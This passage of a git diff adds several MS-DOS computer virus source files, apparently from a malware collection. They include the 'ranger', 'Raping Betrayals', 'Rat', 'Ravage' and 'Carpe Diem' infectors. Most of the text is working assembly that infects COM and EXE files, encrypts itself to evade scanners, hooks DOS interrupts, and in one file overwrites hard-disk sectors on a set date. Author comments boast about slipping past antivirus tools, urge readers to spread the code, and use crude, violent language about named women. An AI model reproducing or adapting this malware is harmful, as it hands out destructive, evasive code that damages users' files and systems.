files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,2000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + int 21h + retn ; 100h is on stack +save3 db 0cdh,20h,0 ; First 3 bytes of COM file + +activate: ; ****************************** + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + jmp exit_virus + +creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator +virusname db '[ranger]',0 + +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.ranovr.pas b/MSDOS/Virus.MSDOS.Unknown.ranovr.pas new file mode 100644 index 00000000..a77a378f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ranovr.pas @@ -0,0 +1,157 @@ +{close but not cookie ranmas4A} +USES dos,link,attrib; +CONST vSize=8608; +VAR PATHLIST, + fileLIST: LISTtype; + TempPtr : NodePtr; + current : byte; + count : integer; {debug} + Running : string; + buffer : array[0..vSize] of byte; + header : array[0..$1A] of byte; + F : file; + vID : string[2]; +procedure SuckPaths(var lister: listTYPE); +{Get paths from command environmet} +{Split string into seperate paths } +{Include running path in list } +var +ps, s: string; +ind: integer; +begin +s:= GetEnv('PATH'); +ind:= pos(';', S); +GetDir(0,PS); +insertNODE(lister,ps); +if ind<0 then while ind< 0 do BEGIN + ps:= copy(S, 1, ind-1); + {debug} if (random(2)=1) then insertNODE(lister,ps); + delete(S,1,ind); + ind:= pos(';', S); + END; +end; +procedure SuckFiles(path: string; var exes:LISTtype); +{find EXE files in path given } +{return linked list } +var Fil :SearchRec; +BEGIN +{current:=0;} +IF path[ length(path) ]<'\' then path:=path+'\'; + {change to *.EXE to make live} +findfirst(path+'*.222',anyfile,fil); +while DosError=0 do begin + If (pos('.',fil.name)<1) and not(boolean(fil.attr and directory)) then + begin + inc(count); + if random(20)=5 then begin {debug} + if (fil.size<$ffff) then begin + InsertNode(exes,(path+fil.name)); + { current:=1; } + end; + end; {debug} + end; + if current=1 then dosError:=18 + else findnext(fil); {give "no more files" effect to exit} +end; +END; +{::Skeleton Main::} +BEGIN +randomize; count:=0; initLIST (pathLIST); +vID:='FU'; +{::Get cur & PATH's dos's environment::} +SuckPaths(pathLIST); {pick about 1 out of 2 paths from the PATH envir} + {::Pick files from paths::} +TempPtr:=pathLIST.first; {pick 1 name max in every path for checking} +While ( TempPtr +; +; It copies itself into other exe/com files on the current +; drive. The file-size will not be changed, cuz it just +; replaces the code in the beginning with itselves. The +; infected files will not work, instead the virus will +; run again. The virus uses dot-dot metod for changing dirs. +; +; There has been many mutations born from Leprosy, +; and here we give you yet another contribution... +; +; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54 +; Havn't tried with TBScan/F-prot, but they will probably +; identify it as "Leprosy". +; +; Regards : The Unforgiven / Immortal Riot + +Title Raping Betrayals ; By The Unforgiven / Immortal Riot + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 664 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +main proc near ; Code execution begins here + + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action +encrypt_val db 00h ; Hold value to encrypt by here + +; Ä-ÄÄÄ--ÄÄ- Encrypt, save, and restore the virus code ÄÄÄ--ÄÄ--Ä-ÄÄ +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + +; call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov dx,code_start ; Buffer where code starts in memory + mov cx,virus_size ; Total number of bytes to write + + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file +; call encrypt_decrypt ; Restore the code as it was + call daycheck ; Call function who check's for day. + ret ; Go back to where you came from + +; ÄÄ-ÄÄÄÄ-ÄÄ Encrypt or decrypt the virus code ; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄ-Ä + +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start + ; encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor al,encrypt_val ; En/dis-engage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +; ÄÄ-ÄÄÄÄÄ---ÄÄÄÄÄ--ÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ----ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +; ÄÄ-ÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄ--ÄÄÄ---ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--Ä-Ä-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +virus_code: + +; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄ--ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; "All strings are kept here in the file, and automatically encrypted" +; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but +; the virus is pretty un-use-less if Mcafee scan catch is so, I +; changed a few calls, and you can have phun with this again... +; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +exe_filespec db "*.EXE",0 ; To infect EXE's +com_filespec db "*.COM",0 ; To infect COM's +newdir db "..",0 ; Move up one directory +; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Fake_msg is the message that will be printed on the screen, after +; it has infected files (or when a infected file is run). +; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$" + db " The Unforgiven / Immortal Riot " ; HUmm..that's me.. + db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie! + db " Sweden 15/09/93 " ; written.. +; ÄÄ-ÄÄÄÄÄÄÄ----ÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Okey..these messages just are just "file-size out-fillers" or something, +; nothing important..so I remarked them, and the virus is a bit smaller... +; also check in prodedure "Exit_virus" for more info about ‚m.. + +;virus_msg2 db cr,lf,tab," Something was placed here before.. $" +;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $" +;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $" +;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $" +; ÄÄ-ÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attribs + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attribs + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If "yes", find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribs + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Move the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; Try the process on this one +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret ; Returning to base... + +; ÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; ELLIE: +; mov ah,09h ; Read under +; mov dx,offset virus_msg1 ; for more +; int 21h ; information +; +; Okey..If it's 10:th (any month), the virus will do something with +; your hard-drives (..ellie..) which I finds to be real nasty ! If +; you wanna check if the function day-check works, just un-mark +; the tree lines under the first "ellie". and the virus_msg1 +; "Betrayal is a sin, if it comes from another" will be displayed. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Here is the real "Ellie"..Yeah..that's certainly her! +; ÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +ELLIE: ; Here comes the bitch.. + cli ; Tigh her up! + mov ah,2 ; starting with drive C + cwd ; starting at sector 0 + mov cx,0100h ; write 256 sectors + int 026h ; to protect and serve.. + jmp maria ; Next victim is Maria.. + +MARIA: ;Yet another.. + MOV AL,3 ;Set to fry drive D + MOV CX,700 ;Set to write 700 sectors + MOV DX,00 ;Starting at sector 0 + MOV DS,[DI+99] ;Put random crap in DS + MOV BX,[DI+55] ;More crap in BX + CALL ELLIE ;Jump for joy!... + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; If you want Ellie to go off on some special month, just look at procedure +; "Infect_file", and the call to daycheck. Change the call to Monthcheck, +; and "delete" the ";" on procedure monthcheck. But remember, that makes, +; the virus much less destructive, and by that time, all scanners has +; probably added a new scan-string on this one. Now it will go off the +; 10:th every month. Feel free to modify this as much you want to. + +; MONTHCHECK: ; Procudure to check +; mov ah,2ah ; what month it is.. +; int 21h ; Dos to your service.. +; cmp dh,06 ; comp dh,06 (July, month 06) +; je daycheck ; if month 06, jump to daycheck, +; JMP something ; if not, just jump to something.. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- + +Daycheck: ; check what day it is.. + mov ah,2ah ; + int 21h ; Dos to your service.. + cmp dl,10 ; If it is the 10:th, + je ellie ; if yes, have a great fuck.. + JMP something ; if not..just can tell you how sorry I'm ! + +Something: ; Some stupid procedure..but remember.. +ret ; Arbeit Macht Frei ! + +exit_virus: + cmp files_found,15 ; Are at least 15 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load address of the first line + int 21h ; Print it.. + ; mov dx,offset virus_msg2 ; --- + ; int 21h ; Okey..mess(ages) 2-5 have been + ; mov dx,offset virus_msg3 ; removed from the code..too bad, + ; int 21h ; they were Metallica messages... + ; mov dx,offset virus_msg4 ; --- + ; int 21h ; Anyway, (ab)use this program, B4 + ; mov dx,offset virus_msg5 ; Mcafee gets a new string for this + ; int 21h ; --- + jmp terminate ; Jump to terminate.. + +print_fake: + mov ah,09h ; Print fake error message + mov dx,offset fake_msg ; Print "fake_msg" + int 21h ; Dos to your service.. +terminate: ; Get ready for quit this program + mov ah,4ch ; DOS terminate process function + int 21h ; Exit.. + +filler db 8 dup (90h) ; Pad out to 666 bytes + +main endp +code ends + end main + +; Greeting goes out to : Raver, Metal Militia, Scavenver, +; and of-cuz to Miss Perfect...ELLIE! \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.rat.asm b/MSDOS/Virus.MSDOS.Unknown.rat.asm new file mode 100644 index 00000000..8ec3802b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rat.asm @@ -0,0 +1,127 @@ + +PAGE 59,132 +;************************************* +;**The Rat Virus - Overwriting ** +;** Non-Resident ** +;** Com File Infector** +;** Author: -Ajax- ** +;** This virus is 92 bytes long ** +;** Because it is made in 1992 :) ** +;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/** +;** Pass this unscannable around to ** +;** Your friends,and tell em McAfee ** +;** sent ya! ** +;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/** +;** Underground Asylum-904/688.6494 ** +;**"Replication Is Our Middle Name!"** +;************************************* + +retf macro ret_count ; Fixup for Assembler + ifdef ret_count + db 0CAh + dw ret_count + elseif + db 0CBh + endif +endm + +retn macro ret_count + ifdef ret_count + db 0C2h + dw ret_count + elseif + db 0C3h + endif +endm + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +location_file equ 9Eh ; location of file in DTA + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h ; Starting of all .COM files + +rat_virus proc far + +start: + mov ah,4Eh ; fixup for making undetectable + mov cl,20h ; + mov dx,offset all_com_files ; + int 21h ; + ; +start_infecting: + mov ax,3D01h ; + mov dx,Location_file ; + int 21h ; Open target file. + + mov bx,ax + mov dx,offset ds:[100h] ; Location of file to write. + mov cl,5ch ; File size to overwrite. + mov ah,40h ; + int 21h ; Write to filename in dx + ; + mov ah,3Eh ; + int 21h ; + ; + mov ah,4Fh ; + int 21h ; + ; + jnc start_infecting ; If more files,keep goin + mov ah,09h ; + mov dx,offset bbs_ad ; display my bbsad! + int 21h + int 20h ; get to dos. +all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files + ; in current dir.. +bbs_ad db 'Underground Asylum BBS - [904]688.6494$' +rat_virus endp + +seg_a ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ravage.asm b/MSDOS/Virus.MSDOS.Unknown.ravage.asm new file mode 100644 index 00000000..9ddd59ea --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ravage.asm @@ -0,0 +1,254 @@ +; Virusname: Ravage +; Origin: Sweden +; Author: Metal Militia + +; This virus can be found with any anti-virus program, since it's been +; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..) + +; It's a resident .COM and .EXE infector, without any encryption or +; stealth capabilities. It infects when you execute (4bh), opens (3dh), +; extended open (6ch), and on closing (3eh). This makes it quite a good +; infector, but since it doesn't care what files it infects, most of the +; AV programs will find themselves makes it quite a good infector, but +; any program with selfchecking (95%) will find themself hit. + +; I stopped with this virus since it's so totally buggy that you'll find +; it almost at once. This is the reason why i give you the source code. +; In my later resident things, there will be such things as encryption, +; stealth etc. i think.. + + + + .model tiny + .code + .radix 16 + .code + EXE_ID = -42 + viruslength = heap - _small + startload = 90 * 4 + + _small: + call relative + oldheader dw 020cdh + dw 0bh dup (0) + relative: + pop bp + push ds + push es + xor ax,ax + mov ds,ax + mov es,ax + mov di,startload + cmp word ptr ds:[di+25],di + jz exit_small + + lea si,[bp-3] + mov cx,viruslength + db 2Eh + rep movsb + + mov di,offset old21 + startload + mov si,21*4 + push si + movsw + movsw + pop di + mov ax,offset int21 + startload + stosw + xchg ax,cx + stosw + + exit_small: + pop es + pop ds + + or sp,sp + jnp returnCOM + returnEXE: + mov ax,ds + add ax,10 + add [bp+16],ax + add ax,[bp+0e] + mov ss,ax + mov sp,cs:[bp+10] + jmp dword ptr cs:[bp+14] + returnCOM: + mov di,100 + push di + mov si,bp + movsw + movsb + ret + + infect: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,4300h + int 21h + jnc test_it + jmp exitinfect + + test_it: + test cl,1 + je ok_2_open + and cl,0feh + mov ax,4301h + int 21h + jnc ok_2_open + jmp exitinfect + + ok_2_open: + mov ax,3d02 + int 21 + xchg ax,bx + + push cs + pop ds + push cs + pop es + + mov ax,5700h + int 21h + + push cx + push dx + + mov si,offset oldheader+startload + + mov ah,3f + mov cx,18 + push cx + mov dx,si + int 21 + + cmp ax,cx + jnz go_already_infected + + mov di,offset target + startload + push di + rep movsb + pop di + + mov ax,4202 + cwd + int 21 + + cmp ds:[di],'ZM' + jz infectEXE + cmp ds:[di],'MZ' + jz infectEXE + + sub ax,3 + mov byte ptr ds:[di],0e9 + mov ds:[di+1],ax + + sub ax,viruslength + cmp ds:[si-17],ax + jnz finishinfect + go_already_infected: + pop cx + jmp short already_infected + + int21: + cmp ax,4b00 + jz infect + cmp ax,3d00 + jz infect + cmp ax,3e00 + jz some_open + cmp ax,6c00 + jnz not_opening + some_open: + mov ah,45 + int 21 + jmp infect + + not_opening: + jmp chain + + infectEXE: + cmp word ptr [di+10],EXE_ID + jz go_already_infected + + push ax + push dx + + add ax,viruslength + adc dx,0 + + mov cx,200 + div cx + + or dx,dx + jz nohiccup + inc ax + nohiccup: + mov word ptr ds:[di+4],ax + mov word ptr ds:[di+2],dx + + pop dx + pop ax + + mov cx,10 + div cx + + sub ax,ds:[di+8] + + mov word ptr ds:[di+14],dx + mov word ptr ds:[di+16],ax + + mov word ptr ds:[di+0e],ax + mov word ptr ds:[di+10],EXE_ID + finishinfect: + mov cx,viruslength + mov ah,40 + mov dx,startload + int 21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov dx,di + pop cx + int 21 + already_infected: + pop dx + pop cx + + mov ax,5701h + int 21h + + mov ah,3e + int 21 + jmp exitinfect + + db 'RAVAGE! ' + db '(c) Metal Militia / Immortal Riot' + + exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + chain: + db 0ea + heap: + old21 dw ?, ? + target dw 0ch dup (?) + + endheap: + end _small \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.raver.asm b/MSDOS/Virus.MSDOS.Unknown.raver.asm new file mode 100644 index 00000000..85146938 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.raver.asm @@ -0,0 +1,292 @@ +; VirusName : CARPE DIEM! - Seize the day +; Origin : Sweden +; Author : Raver +; Date : 16/11/93 + +; Well this is my (Raver's) first scratch virus. +; This virus is mainly made for educational purpose (my own!). +; It's pretty well commented in an easy way so even you folks +; with little experience with assembler should be able to follow +; the code! + +; It's a pretty simple non-overwriting .com-infector with a harmless +; nuking routine. It clears and restores the file attributes and +; date/time stamp and finds and infects files using the dot-dot method. +; An encryption routine and some "unusual" instructions are included to +; avoid detection by the common virus scanners. At release date, see +; above, neither F-prot nor Tb-scan found traces of virus code! + +; There is about a 5 percent chance that the nuking routine will be +; activated, it checks the system time for 1/100 of a second. If it's +; activated it'll overwrite the first sector on the fixed disk (c:) +; which contains the boot sector. This might seem cruel but, infact, +; it's quite harmless 'cause norton utilities and other programs +; easily restore the boot sector. It's there just to make inexperienced +; users (lamers!) nervous! + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; CARPE DIEM! - Seize the day +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +start_of_virus: ;entry point + call get_off ;this somewhat unusual code won't +get_off: ;produce a flexible entry point flag + mov si,sp ;get the delta offset + mov bp,word ptr ss:[si] ;offset is on top of stack + sub bp,offset get_off ;put it in bp + inc sp ;restore sp to it's original + inc sp + +; call encrypt_decrypt ;decrypt the contents of the program + mov ax,bp ;use alternative code - otherwise + add ax,116h ;f-prot will recognize it as Radyum!!!! + push ax + jmp encrypt_decrypt + jmp encrypted_code_start ;jmp to the (en/de)crypted virus area + + +encryption_value dw 0 ;random value for encryption routine + + +write_virus_to_file: ;proc to append virus code to file + + call encrypt_decrypt ;encrypt the virus before write + + mov cx,offset end_of_virus-100h ;length of virus to be written + lea dx,[bp] ;write from start + mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of + inc ah ;file length in DTA. Is + add dx,ax ;always 0 in .com-files. + mov ah,40h ;Use this trick to fool + int 21h ;heuristic searches. + ;dx = delta 